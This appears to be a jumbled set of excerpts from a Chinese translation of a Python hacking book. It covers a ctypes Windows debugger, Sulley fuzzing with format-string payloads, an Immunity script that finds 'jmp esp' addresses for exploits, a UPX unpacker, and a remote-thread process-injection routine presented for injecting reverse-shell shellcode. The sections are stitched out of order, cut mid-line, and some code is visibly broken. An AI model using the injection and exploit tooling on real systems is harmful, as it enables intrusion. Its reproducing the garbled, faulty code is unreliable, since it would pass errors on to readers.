self.context = None self.breakpoints = {} ... def read_process_memory(self,address,length): data = \"\" read_buf = create_string_buffer(length) count = c_ulong(0) if not kernel32.ReadProcessMemory(self.h_process, address, read_buf, length, byref(count)): return False else: data += read_buf.raw return data def write_process_memory(self,address,data): count = c_ulong(0) length = len(data) c_data = c_char_p(data[count.value:]) if not kernel32.WriteProcessMemory(self.h_process, address, c_data, length, byref(count)): return False else: return True def bp_set(self,address): if not self.breakpoints.has_key(address): try: # store the original byte original_byte = self.read_process_memory(address, 1) # write the INT3 opcode self.write_process_memory(address, \"\\xCC\") # register the breakpoint in our internal list self.breakpoints[address] = (address, original_byte) except: return False return True 现在调试器已经支持软件断点了，我们需要找个地址设置一个试试看。一般断点设置在 函数调用的地方，为了这次 实验，我们就用老朋友 printf()作为将要捕获的目标函数。WIndows 调试 API 提供了简洁的 方法以确定一个函数的虚拟地址， GetProcAddress()，同样也是从 kernel32.dll 导出的。这个 函数需要的主要参数就是一个模块（一个 dll 或者一个 .exe 文件）的句柄。模块中一般都包含 了我们感兴趣的函数; 可以通过 GetModuleHandle()获得模块的句柄。原型如下： FARPROC WINAPI GetProcAddress( HMODULE hModule, LPCSTR lpProcName ); HMODULE WINAPI GetModuleHandle( LPCSTR lpModuleName ); 这是一个很清晰的事件链：获得一个模块的句柄，然后查找从中导出感兴趣的函数的地 址。让我们增加一个调试函数，完成刚才做的。回到 my_debugger.py.。 序 In C int my_socks(color_one color_two, color_three); In x86 Assembly push color_three push color_two push color_one call my_socks 这个例子里，参数传递的顺序也是从右到左，不过栈的平衡处理由函数 my_socks 自己完成，而不是调用者。 最后一点，这两种调用方式的返回值都存储在 EAX 中。 下面做一个简单的试验，直接从 C 库中调用 printf()函数打印一条消息，Windows 中的 C 库 位于 C:\\WINDOWS\\system32\\msvcrt.dll，Linux 中的 C 库位于/lib/libc.so.6。 chapter1-printf.py Code on Wi"},
    {"text": "序 5.3 Exploit 开发 发现漏洞只是一个开始，在你完成利用程序之前，还有很长的一段路要走。不 过 Immunity 专门为了这项任务做了许多专门的设计，相信能帮你减少不少的痛苦。接下来我 们要开发一些 PyCommands 以加速 exploit 的开发。这些 PyCommands 要完成的功能包括， 找到特定的指令将执行权限转移到 shellcode，当编码 shellcode 的时候判断是否有需要过滤 的有害字符。我们还将用 PyCommand 命令!findantidep 绕过 DEP（软件执行保护）。 5.3.1 找出友好的利用指令 在获得 EIP 的控制权之后，你就要将执行权限转移到 shellcode。典型的方式就是，你用 一个寄存器指向你的 shellcode。你的工作就是在可执行的代码里或者在加载的模块里找到跳 转到寄存器的代码。 Immunity 提供的搜索接口使这项工作变得很简单，它将贯穿整个程序 寻找需要的代码。接下来就试验下。 #findinstruction.py from immlib import * def main(args): imm = Debugger() search_code = \" \".join(args) search_bytes = imm.Assemble( search_code ) search_results = imm.Search( search_bytes ) for hit in search_results: # Retrieve the memory page where this hit exists # and make sure it's executable code_page = imm.getMemoryPagebyAddress( hit ) access = code_page.getAccess( human = True ) if \"execute\" in access.lower(): imm.log( \"[*] Found: %s (0x%08x)\" % ( search_code, hit ), address = hit ) return \"[*] Finished searching for instructions, check the Log window.\" 我们先转化要搜索的代码（记得内存中可是没有汇编指令的 ），然后通过 Search()方法 在整个程序的内存空间中包含这个指令的地址。在返回的地址列表中，找到每个地址所属的 页。接着确认页面是可执行的。每找到一个符合上面条件的就打印到记录窗口。在调试器的 命令栏里执行如下格式的命令。 !findinstruction <instruction to search for> 脚本运行后输入以下测试参数， !findinstruction jmp esp 输出将类似图 5-2 图 5-2 !findinstruction PyCommand 的输出 现在我们已经有了一个地址列表，这些地址都能使我们的 shellcode 运行起来（前提你 的 shellcode 地址放在 ESP 中）。每个利用程序都有些许差别，但我们现在已经有了一个能够 快输寻找指令地址的工具，很好很强大。 序 1.3.1 hacker 们的朋友 :ctypes ctypes 是强大的，强大到本书以后介绍的几乎所有库都要基于此。使用它我们就能够调 用动态链接库中函数，同时创建各种复杂的 C 数据类型和底层操作函数。毫无疑问，ctypes 就是本书的基础。 序 Blocks and Groups Blocks(块)Groups(组)是 Sulley 提供的强大的组织工具。Blocks 将独立的 primitives 组装 成一个的有序的块。Groups 中包含了一些特定的 primitives，一个 Group 和一个 Block 结合 后，每次 fuzzer 调用 Block 的时候，都会将 Group 中的数据循环的取出，组成不同的 Block。 下面就是一个使用块和组 fuzzing HTTP 的例子。 # import all of Sulley's functionality. from sulley import * # this request is for fuzzing: {GET,HEAD,POST,TRACE} /index.html HTTP/1.1 # define a new block named \"HTTP BASIC\". s_initialize(\"HTTP BASIC\") # define a group primitive listing the various HTTP verbs we wish to fuzz. s_group(\"verbs\", values=[\"GET\", \"HEAD\", \"POST\", \"TRACE\"]) # define a new block named \"body\" and associate with the above group. if s_block_start(\"body\", group=\"verbs\"): # break the remainder of the HTTP request into individual primitives. s_delim(\" \") s_delim(\"/\") s_string(\"index.html\") s_delim(\" \") s_string(\"HTTP\") s_delim(\"/\") s_string(\"1\") s_delim(\".\") s_string(\"1\") # end the request with the mandatory static sequence. s_static(\"\\r\\n\\r\\n\") # close the open block, the name argument is optional here. s_block_end(\"body\") 程序一开始我们就定义了一个叫 verbs 的组，其中包含了所有 HTTP 请求类型。之后定 义了一个叫 body 的块，并且和 verbs 组绑定。这意味着，以后 Sulley 每次调用 body 内的变 形数据的时候，都会循环的获取(GET, HEAD, POST, TRACE)5 种请求方式，这样一来，一 次 body 内的变形就相当于产生 5 个不同的 body。 到目前为止，我们已经讲解完了 Sulley 的基础知识。当然 Sulley 不仅仅如此，还有数 据解码，校验和计算，长度自动处理等等。想深入学习的同学可以看 Pedram 写的 Fuzzing: Brute Force Vulnerability Discovery (Addison-Wesley, 2007)，一本综合了 Sulley 和 fuzzing 相 关技术的好书。现在该开始对 WarFTPD 下手了。我们要先创建自己的 primitive 集合，然后 将它们传给负责构建测试的框架内。 9.3 猎杀 Wa"},
    {"text": "序 12.3.5 使用 PEPyEmu 解压 UPX UPX 压缩可执行程序的方法很简单明了：重写程序的入口点，指向解压代码，同时添 加两个而外的块，UPX0 和 UPX1 。"},
    {"text": "使用 Immunity 加载压缩程序,检查内存布局(ALT-M),将会看到如下相似的输出： Address Size Owner Section Contains Access Initial Access 00100000 00001000 calc_upx PE Header R RWE 01001000 00019000 calc_upx UPX0 RWE RWE 0101A000 00007000 calc_upx UPX1 code RWE RWE 01021000 00007000 calc_upx .rsrc data,imports RW RWE resources Listing 12-3: UPX 压缩之后的程序的内存布局 . UPX1 显示为代码块，其中包含了主要的解压代码。"},
    {"text": "代码经过 UPX1 的解压之后，就跳 出 UPX1 块，到达真正的可执行代码块，开始执行程序。 我们要做的就是让仿真器运行解压 代码，同时不断的检测 EIP 和 JMP，当发现有 JMP 指令使得 EIP 的范围超出 UPX1 段的时 候，说明将到跳转到原始代码段了。"},
    {"text": "#upx_unpacker.py from ctypes import * # You must set your path to pyemu sys.path.append(\"C:\\\\PyEmu\") sys.path.append(\"C:\\\\PyEmu\\\\lib\") from PyEmu import PEPyEmu # Commandline arguments exename = sys.argv[1] outputfile = sys.argv[2] # Instantiate our emulator object emu = PEPyEmu() if exename: # Load the binary into PyEmu if not emu.load(exename): print \"[!] Problem loading %s\" % exename sys.exit(2) else: print \"[!] Blank filename specified\" sys.exit(3) # Set our library handlers emu.set_library_handler(\"LoadLibraryA\", loadlibrary) emu.set_library_handler(\"GetProcAddress\", getprocaddress) emu.set_library_handler(\"VirtualProtect\", virtualprotect) # Set a breakpoint at the real entry point to dump binary emu.set_mnemonic_handler( \"jmp\", jmp_handler ) # Execute starting from the header entry point emu.execute( start=emu.entry_point ) 第 一 步 将 压 缩 文 件 加 载 进 PyEmu 。"},
    {"text": "#upx_unpacker.py from ctypes import * # You must set your path to pyemu sys.path.append(\"C:\\\\PyEmu\") sys.path.append(\"C:\\\\PyEmu\\\\lib\") from PyEmu import PEPyEmu ''' HMODULE WINAPI LoadLibrary( __in LPCTSTR lpFileName ); ''' def loadlibrary(name, address): # Retrieve the DLL name dllname = emu.get_memory_string(emu.get_memory(emu.get_register(\"ESP\") # Make a real call to LoadLibrary and return the handle dllhandle = windll.kernel32.LoadLibraryA(dllname) emu.set_register(\"EAX\", dllhandle) # Reset the stack and return from the handler return_address = emu.get_memory(emu.get_register(\"ESP\")) emu.set_register(\"ESP\", emu.get_register(\"ESP\") + 8) emu.set_register(\"EIP\", return_address) return True ''' FARPROC WINAPI GetProcAddress( __in HMODULE hModule, __in LPCSTR lpProcName ); ''' def getprocaddress(name, address): # Get both arguments, which are a handle and the procedure name handle = emu.get_memory(emu.get_register(\"ESP\") + 4) proc_name = emu.get_memory(emu.get_register(\"ESP\") + 8) # lpProcName can be a name or ordinal, if top word is null it's an ordinal # lpProcName 的高 16 位是 null 的时候,它就是序列号(也就是个地址),否者就是名字 if (proc_name >> 16): procname = emu.get_memory_string(emu.get_memory(emu.get_register(\"ESP\") + 8)) else: procname = arg2 #这 arg2 不知道从何而来,应该是 procname = proc_name # Add the procedure to the emulator emu.os.add_library(handle, procname) import_address = emu.os.get_library_address(procname) # Return the import address emu.set_register(\"EAX\", import_address) # Reset the stack and return from our handler return_address = emu.get_memory(emu.get_register(\"ESP\")) emu.set_register(\"ESP\", emu.get_register(\"ESP\") + 8) #这里应该是 r(\"ESP\") + 8，因为有两个参数需要平衡 emu.set_register(\"EIP\", return_address) return True ''' BOOL WINAPI VirtualProtect( __in LPVOID lpAddress, __in SIZE_T dwSize, __in DWORD flNewProtect, __out PDWORD lpflOldProtect ); ''' def virtualprotect(name, address): # Just return TRUE emu.set_register(\"EAX\", 1) # Reset the stack and return from our handler return_address = emu.get_memory(emu.get_register(\"ESP\")) emu.set_register(\"ESP\", emu.get_register(\"ESP\") + 16) emu.set_register(\"EIP\", return_address) return True # When the unpacking routine is finished, handle the JMP to the OEP def jmp_handler(emu, mnemonic, eip, op1, op2, op3): # The UPX1 section if eip < emu.sections[\"UPX1\"][\"base\"]: print \"[*] We are jumping out of the unpacking routine.\" print \"[*] OEP = 0x%08x\" % eip # Dump the unpacked binary to disk dump_unpacked(emu) # We can stop emulating now emu.emulating = False return True LoadLibrary 处理函数从栈中捕捉到调用的 DLL 的名字，然后使用 ctypes 库函数进 行真正的 LoadLibraryA 调用，这个函数由 kernel32.dll 导出。"},
    {"text": "同样， GetProcAddress 处理函 数 从 栈 中 接 收 两 个 参 数(arg2) ， 然 后 在 仿 真 器 中 进 行 真 实 的 调 用(emu.os.add_library 和 emu.os.get_library_address) ， 这 个 函 数 也 由 kernel32.dll 导 出 ( 当 然 也 可 以 使 用 windll.kernel32.GetProcAddress) 。"},
    {"text": "之 后 把 地 址 存 储 到 EAX ， 调 整 栈 ( 这 里 原 作 者 使 用 emu.set_register(\"ESP\", emu.get_register(\"ESP\") + 8)，不过由于是两个参数，应该是+12)，返 回。"},
    {"text": "#upx_unpacker.py ... def dump_unpacked(emu): global outputfile fh = open(outputfile, 'wb') print \"[*] Dumping UPX0 Section\" base = emu.sections[\"UPX0\"][\"base\"] length = emu.sections[\"UPX0\"][\"vsize\"] print \"[*] Base: 0x%08x Vsize: %08x\"% (base, length) for x in range(length): fh.write(\"%c\" % emu.get_memory(base + x, 1)) print \"[*] Dumping UPX1 Section\" base = emu.sections[\"UPX1\"][\"base\"] length = emu.sections[\"UPX1\"][\"vsize\"] print \"[*] Base: 0x%08x Vsize: %08x\" % (base, length) for x in range(length): fh.write(\"%c\" % emu.get_memory(base + x, 1)) print \"[*] Finished.\" 我们只需要简单的将 UPX0 和 UPX1 两个段的代码写入文件。"},
    {"text": "在命令行中使用我们的解压脚本看看： C:\\>C:\\Python25\\python.exe upx_unpacker.py C:\\calc_upx.exe calc_clean.exe [*] We are jumping out of the unpacking routine. [*] OEP = 0x01012475 [*] Dumping UPX0 Section [*] Base: 0x01001000 Vsize: 00019000 [*] Dumping UPX1 Section [*] Base: 0x0101a000 Vsize: 00007000 [*] Finished. C:\\> Listing 12-4:upx_unpacker.py 的命令行输出 现在我们有了一个和未加密的 calc.exe 一样的 calc_clean.exe。"},
    {"text": "序 1.2.1 在 Wi W ndows 上安装 Python Windows 的安装版本可以从 Python 主页上下载 http:// python.org/ftp/python/2.5.1/python-2.5.1.msi。双击，一步一步的按指示安装就行。在默认的 主目录 C:/Python25/下，安装了 python.exe 和默认的库。 提示 建议大家安装 Immunity 调试器，其包含了很多必须的附加程序，其中就有 Python 2.5 。 在 后 面 的 章 节 中 ， 我 们 也 会 使 用 到 Immunity 。 下 载 页 面 http://debugger.immunityinc.com/(要用代理还要填写些资料)。 序 Strings 字符串(Strings)是使用最多的 primitives。到处都有字符串；用户名，ip 地址，目录等等。 s_string()指令表示添加进测试数据的 primitives 是一个可 fuzz 的字符串。s_string()只有一个 参数,就是有效的字符串，用于协议交互中的正常输入。比如，你 fuzzing 一个 email 地址： s_string(\"justin@immunityinc.com\") Sulley 会把 justin@immunityinc.com 当作一个有效值，然后进行各种变形，最后扔给目 标程序。让我们看看 email 地址变成了什么样。 justin@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA justin@%n%n%n%n%n%n.com %d%d%d@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA 9.2.2 Delimiters Delimiters(定界符)，用于将大的字符串分割成晓得容易管理的片段。还是用先前的 email 地址做例子，用 s_delim()指令能够将它分割成更多的 fuzz 字符串。 s_string(\"justin\") s_delim(\"@\") s_string(\"immunityinc\") s_delim(\".\",fuzzable=False) s_string(\"com\") 通过 s_delim()，我们将 email 地址分成了几个子串，并且告诉 Sulley，我们在 fuzzing 的时候不使用点(.)，但是会使用@ 。 9.2.3 序 2.4.3 内存断点 内存断点其实不是真正的断点。当一个调试器设置了一个内存断点的时候，它其实是 改变了内存中某个块或者页的权限。一个内存页是操作系统处理的最小的内存单位。一个内 存页被申请成功以后，就拥有了一个权限集，它决定了内存该如何被访问。下面是一些内存 页的访问权限的例子： 可执行页 允许执行但不允许读或写，否则抛出访问异常 可读页 只允许从页面中读取数据，其余的则抛出访问异常 可写页 允许将数据写入页面 ) 任何对保护页的访问都会引发异常，之后页面恢复访问前的状态 大多数系统允许你综合这些权限。举个例子，你能有在内存中创建一个页面，既能 读又能写，同时另一个页面既能读又能执行。每一个操作系统都有内建的函数让你查询当前 内存页（并不是所有的）的权限，并且修改它们。参考图 2-5 观察不同权限的内存页面数据 是如何访问的。 图 2-5: 各种不同权限的内存页 这里我们感兴趣的是保护页(Guard Page) 。这种类型的页面常被用于：分离堆和栈或者 确保一部分内存数据不会增长出边界。另一种情况，就是当一个特定的内存块被进程命中（访 问）了，就暂停进程。举个例子，如果我们在逆向一个网络服务程序，在其接收到网络数据 包以后，我们在存储数据包的内存上设置保护页，接着运行程序，一旦有任何对保护页的访 问，都会使 CPU 暂停，抛出一个保护页调试异常，这时候我们就能确定程序是在什么时候 用什么方式访问接收到的数据了。之后再进一步跟踪观察访问内存的指令，继而确定程序对 数据做了什么操作。这种断点同时也解决了软件断点数据更新的问题，因为我们没有修改任 何运行着的代码。 到目前为止，我们已经讲解完了调试器的基础知识和工作原理，接下来我们要亲自动手 写一个 Python 调试器，这个基于 Windows 的轻量级调试器，将会用到我们目前学到的所有 知识。 序 In Python _______________________________________________________________________________ class barley_amount(Union): _fields_ = [ (\"barley_long\", c_long), (\"barley_int\", c_int), (\"barley_char\", c_char * 8), ] _______________________________________________________________________________ 如果我们将一个整数赋值给联合中的 barley_int，接着我们就能够调用 barley_char，用 字符的形式显示刚才输入的 66。"},
    {"text": "BOOL WINAPI GetThreadContext( HANDLE hThread, LPCONTEXT lpContext ); BOOL WINAPI SetThreadContext( HANDLE hThread, LPCONTEXT lpContext ); hThread 参数是从 OpenThread() 返回的线程句柄，lpContext 指向一个 CONTEXT 结构， 其中存储了所有寄存器的值。"},
    {"text": "CONTEXT 非常重要，定义如下： typedef struct CONTEXT { DWORD ContextFlags; DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; FLOATING_SAVE_AREA FloatSave; DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; DWORD Ebp; DWORD Eip; DWORD SegCs; DWORD EFlags; DWORD Esp; DWORD SegSs; BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; }; 如你说见所有的寄存器都在这个列表中了，包括调试寄存器和段寄存器。"},
    {"text": "#my_debugger.py class debugger(): ... def open_thread (self, thread_id): h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None, thread_id) if h_thread is not None: return h_thread else: print \"[*] Could not obtain a valid thread handle.\" return False def enumerate_threads(self): thread_entry = THREADENTRY32() 36 Chapter 3 thread_list = [] snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS _SNAPTHREAD, self.pid) if snapshot is not None: # You have to set the size of the struct # or the call will fail thread_entry.dwSize = sizeof(thread_entry) success = kernel32.Thread32First(snapshot, byref(thread_entry)) while success: if thread_entry.th32OwnerProcessID == self.pid: thread_list.append(thread_entry.th32ThreadID) success = kernel32.Thread32Next(snapshot, byref(thread_entry)) kernel32.CloseHandle(snapshot) return thread_list else: return False def get_thread_context (self, thread_id): context = CONTEXT() context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS # Obtain a handle to the thread h_thread = self.open_thread(thread_id) if kernel32.GetThreadContext(h_thread, byref(context)): kernel32.CloseHandle(h_thread) return context else: return False 调试器已经扩展成功，让我们更新测试模块试验下新功能。 #my_test.py import my_debugger debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) list = debugger.enumerate_threads() # For each thread in the list we want to # grab the value of each of the registers Building a Windows Debugger 37 for thread in list: thread_context = debugger.get_thread_context(thread) # Now let's output the contents of some of the registers print \"[*] Dumping registers for thread ID: 0x%08x\" % thread print \"[**] EIP: 0x%08x\" % thread_context.Eip print \"[**] ESP: 0x%08x\" % thread_context.Esp print \"[**] EBP: 0x%08x\" % thread_context.Ebp print \"[**] EAX: 0x%08x\" % thread_context.Eax print \"[**] EBX: 0x%08x\" % thread_context.Ebx print \"[**] ECX: 0x%08x\" % thread_context.Ecx print \"[**] EDX: 0x%08x\" % thread_context.Edx print \"[*] END DUMP\" debugger.detach() 当你运行测试代码，你将看到如清单 3-1 显示的数据。 Enter the PID of the process to attach to: 4028 [*] Dumping registers for thread ID: 0x00000550 [**] EIP: 0x7c90eb94 [**] ESP: 0x0007fde0 [**] EBP: 0x0007fdfc [**] EAX: 0x006ee208 [**] EBX: 0x00000000 [**] ECX: 0x0007fdd8 [**] EDX: 0x7c90eb94 [*] END DUMP [*] Dumping registers for thread ID: 0x000005c0 [**] EIP: 0x7c95077b [**] ESP: 0x0094fff8 [**] EBP: 0x00000000 [**] EAX: 0x00000000 [**] EBX: 0x00000001 [**] ECX: 0x00000002 [**] EDX: 0x00000003 [*] END DUMP [*] Finished debugging. Exiting... Listing 3-1:每个线程的 CPU 寄存器值 太酷了 ! 我们现在能够在任何时候查询所有寄存器的状态了。"},
    {"text": "3.3 实现调试事件处理 为了让我们的调试器能够针对特定的事件采取相应的行动，我们必须给所有调试器能够 捕捉到的调试事件，编写处理函数。"},
    {"text": "DEBUG_EVENT 定义如下: typedef struct DEBUG_EVENT { DWORD dwDebugEventCode; DWORD dwProcessId; DWORD dwThreadId; union { EXCEPTION_DEBUG_INFO Exception; CREATE_THREAD_DEBUG_INFO CreateThread; CREATE_PROCESS_DEBUG_INFO CreateProcessInfo; EXIT_THREAD_DEBUG_INFO ExitThread; EXIT_PROCESS_DEBUG_INFO ExitProcess; LOAD_DLL_DEBUG_INFO LoadDll; UNLOAD_DLL_DEBUG_INFO UnloadDll; OUTPUT_DEBUG_STRING_INFO DebugString; RIP_INFO RipInfo; }u; }; 在这个结构中有很多有用的信息。"},
    {"text": "u 里的变量由 dwDebugEventCode 决定，一一对应如下： Event Code Event Code Value Union u Value 0x1 EXCEPTION_DEBUG_EVENT u.Exception 0x2 CREATE_THREAD_DEBUG_EVENT u.CreateThread 0x3 CREATE_PROCESS_DEBUG_EVENT u.CreateProcessInfo 0x4 EXIT_THREAD_DEBUG_EVENT u.ExitThread 0x5 EXIT_PROCESS_DEBUG_EVENT u.ExitProcess 0x6 LOAD_DLL_DEBUG_EVENT u.LoadDll 0x7 UNLOAD_DLL_DEBUG_EVENT u.UnloadDll 0x8 OUPUT_DEBUG_STRING_EVENT u.DebugString 0x9 RIP_EVENT u.RipInfo Table 3-1:调试事件 通过观察 dwDebugEventCode 的值，再通过上面的表就能找到与之相对应的存储在 u 里 的变量。"},
    {"text": "#my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None self.context = None ... def get_debug_event(self): debug_event = DEBUG_EVENT() continue_status= DBG_CONTINUE if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE # Let's obtain the thread and context information self.h_thread = self.open_thread(debug_event.dwThread self.context = self.get_thread_context(self.h_thread print \"Event Code: %d Thread ID: %d\" % (debug_event.dwDebugEventCode, debug_event.dwThre kernel32.ContinueDebugEvent( debug_event.dwProcessId, debug_event.dwThreadId, continue_status ) #my_test.py import my_debugger debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) debugger.run() debugger.detach() 如果你用的是 calc.exe，输出将如下所示： Enter the PID of the process to attach to: 2700 Event Code: 3 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 2 Thread ID: 3912 Event Code: 1 Thread ID: 3912 Event Code: 4 Thread ID: 3912 Listing 3-2: 当附加到 cacl.exe 时的事件代码 基于脚本的输出，我们能看到 CREATE_PROCESS_EVENT (0x3)事件是第一个发生的， 接 下 来 的 是 一 堆 的 LOAD_DLL_DEBUG_EVENT (0x6) 事 件 ， 然 后 CREATE_THREAD_DEBUG_EVENT (0x2) 创 建 一 个 新 线 程 。"},
    {"text": "接 着 就 是 一 个 EXCEPTION_DEBUG_EVENT (0x1)例外事件，它由 windows 设置的断点所引发的，允许在 进程启动前观察进程的状态。 最后一个事件是 EXIT_THREAD_DEBUG_EVENT (0x4)，它 由进程 3912 结束只身产生。"},
    {"text": "打开 my_debugger.py 加入以下代码： #my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None self.context = None self.exception = None self.exception_address = None ... def get_debug_event(self): debug_event = DEBUG_EVENT() continue_status= DBG_CONTINUE if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE): # Let's obtain the thread and context information self.h_thread = self.open_thread(debug_event.dwThreadId) self.context = self.get_thread_context(self.h_thread) print \"Event Code: %d Thread ID: %d\" % (debug_event.dwDebugEventCode, debug_event.dwThreadId) # If the event code is an exception, we want to # examine it further. if debug_event.dwDebugEventCode == EXCEPTION_DEBUG_EVENT: # Obtain the exception code exception = debug_event.u.Exception.ExceptionRecord.ExceptionCod self.exception_address = debug_event.u.Exception.ExceptionRecord.ExceptionAdd if exception == EXCEPTION_ACCESS_VIOLATION: print \"Access Violation Detected.\" # If a breakpoint is detected, we call an internal # handler. elif exception == EXCEPTION_BREAKPOINT: continue_status = self.exception_handler_breakpoint() elif ec == EXCEPTION_GUARD_PAGE: print \"Guard Page Access Detected.\" elif ec == EXCEPTION_SINGLE_STEP: print \"Single Stepping.\" kernel32.ContinueDebugEvent( debug_event.dwProcessId, debug_event.dwThreadId, continue_status ) ... def exception_handler_breakpoint(): print \"[*] Inside the breakpoint handler.\" print \"Exception Address: 0x%08x\" % self.exception_address return DBG_CONTINUE 如果你重新运行这个脚本，将看到由软件断点的异常处理函数打印的输出结果。"},
    {"text": "序 8.1.1 缓冲区溢出 缓冲区溢出是最常见的软件漏洞。所有的正常的内存管理函数，字符处理代码甚至编程 语言本身都可能产生缓冲区溢出漏洞，致使软件出错。 简而言之，缓冲区溢出就是由于，把个过多的数据存储在一个过小的内存空间里，所引 发的软件错误。对于其原理的可以用个很形象的比喻来说明。如果一个水桶，只能装一加仑 的水，我们只导入几滴水或者半加仑的水，甚至是一加仑，把水桶填满了，都不会出问题， 一切都正常如初。如果我们导入两加仑的水，那水就会溢出到地板上，到时候，你就得收拾 这堆烂摊子了。用在软件上也是一样的，如果太多的水（数据），倒入到一个桶（buffer）内， 水就会溢出到作为的地表（memory）上。当一个攻击者能够控制多余的数据对内存区域的 覆盖，就拿那个得到代码的执行权限，进一步获取到系统信息或者做别的事。有两种主要的 缓冲区溢出：基于栈的和基于堆的。两种溢出的表现不同，但产生的结果相同：攻击者最终 控制代码的执行。 栈溢出的特点就是通过溢出覆盖栈，来控制程序的执行流程：比如改变函数的指针，变 量的值，异常处理程序，或者覆盖函数的返回地址，可以得到代码的执行权限。栈溢出的时 候，会抛出一个访问违例；这样我们就能够在 fuzzing 的时候非常方便的跟踪到它们。 应用程序在运行的时候会动态的申请一块内存区域，这些区域就是堆。堆是一块一块连 在一起的，负责存储元数据。当攻击者将数据覆盖到自己申请的堆以外的别的堆的时候，堆 溢出就发生了。接着攻击者能通过覆盖数据改变任何存储在堆上的数据：变量，函数指针， 安全令牌，以及各种重要的数据。堆溢出很难被立即的跟踪到，因为被影响的内存快，一般 不会被程序立即的访问，需要等到程序结束之前的某个时间内才有可能访问到，当然也有可 能一直不访问。在 fuzzing 的时候我们就必须一直等到一个访问违例产生了才会知道，这个 堆溢出是否在成功了。 _______________________________________________________________________________ MI 序 yp s Type _______________________________________________________________________________ char 1-character string c_char wchar_t 1-character Unicode string c_wchar char int/long c_byte char int/long c_ubyte short int/long c_short unsigned short int/long c_ushort int int/long C_int unsigned int int/long c_uint long int/long c_long unsigned long int/long c_ulong long long int/long c_longlong unsigned long long int/long c_ulonglong float float c_float double float c_double char * (NULL terminated) string or none c_char_p wchar_t * (NULL terminated) unicode or none c_wchar_p void * int/long or none c_void_p Listing 1-1:Python 与 C 数据类型映射 请把这章表放到随时很拿到的地方。ctypes 类型初始化的值，大小和类型必须符合定义 的要求。看下面的例子。 _______________________________________________________________________________ C:\\Python25> python.exe Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32 Type \"help\", \"copyright\", \"credits\" or \"license\" for more information. >>> from ctypes import * >>> c_int() c_long(0) >>> c_char_p(\"Hello world!\") c_char_p('Hello world!') >>> c_ushort(-5) c_ushort(65531) >>>c_short(-5) c_short(-5) >>> seitz = c_char_p(\"loves the python\") >>> print seitz c_char_p('loves the python') >>> print seitz.value loves the python >>> exit() _______________________________________________________________________________ 最 后 一 个 例 子 将 包 含 了 \"loves the python\" 的 字 符 串 指 针 赋 值 给 变 量 seitz ， 并 通 过 seitz.value 方法间接引用了指针的内容， 序 12.2 PyEmu 一览 PyEmu 被划分成三个重要的系统：PyCPU，PyMemory 和 PyEmu。与我们交互最多的 就是 PyEmu 类，它再和 PyCPU 和 PyMemoey 交互完成底层的仿真工作。当我们测试驱动 PyEmu 执行一个指令的时候，它就调用 PyCPU 完成真正的指令操作。PyCPU 在进行指令操 作的时候，把需要的内存操作告诉 PyEmu，由 PyEmu 继续调用 PyMemory 辅助完成整个指 令的操作，最后由 PyEmu 将指令的结果返回给调用者。 接下来，让我们简短的了解下各个子系统和他们的使用方法，以便更好的明白伟大的 PyEmu 替我们完成了什么，同时大家也能对实际应用有个初略的了解。"},
    {"text": "序 oor py ... def inject( pid, data, parameter = 0 ): # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print \"[*] Couldn't acquire a handle to PID: %s\" % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_address = arg_address else: h_kernel32 = kernel32.GetModuleHandleA(\"kernel32.dll\") start_address = kernel32.GetProcAddress(h_kernel32,\"LoadLibra parameter = arg_address if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)): print \"[*] Failed to inject the DLL. Exiting.\" sys.exit(0) return True 现在我们有了能够支持两种注入的代码。是时候将两段不同的 shellcode 注入真正的 cacl.exe 进程了，一个 shellcode 反弹 shell 给我们，另一个杀死后门进程。 #bac #b k ac door. 序 Binary Data Binary Data(二进制数据)是数据表示中的瑞士军刀。Sullyey 几乎能处理所有二进制数 据。当我们在处理一些未知协议的数据包的时候，你也许只是想看看服务器是如何回应我们 生成的这些没有意义 的数据的，这时候 s_binary() 就非常有用了 s_binary(\"0x00 \\\\x41\\\\x42\\\\x43 0d 0a 0d 0a\") Sully 能识别出所有这类的数据，然后像将它们当作字符串使用。"},
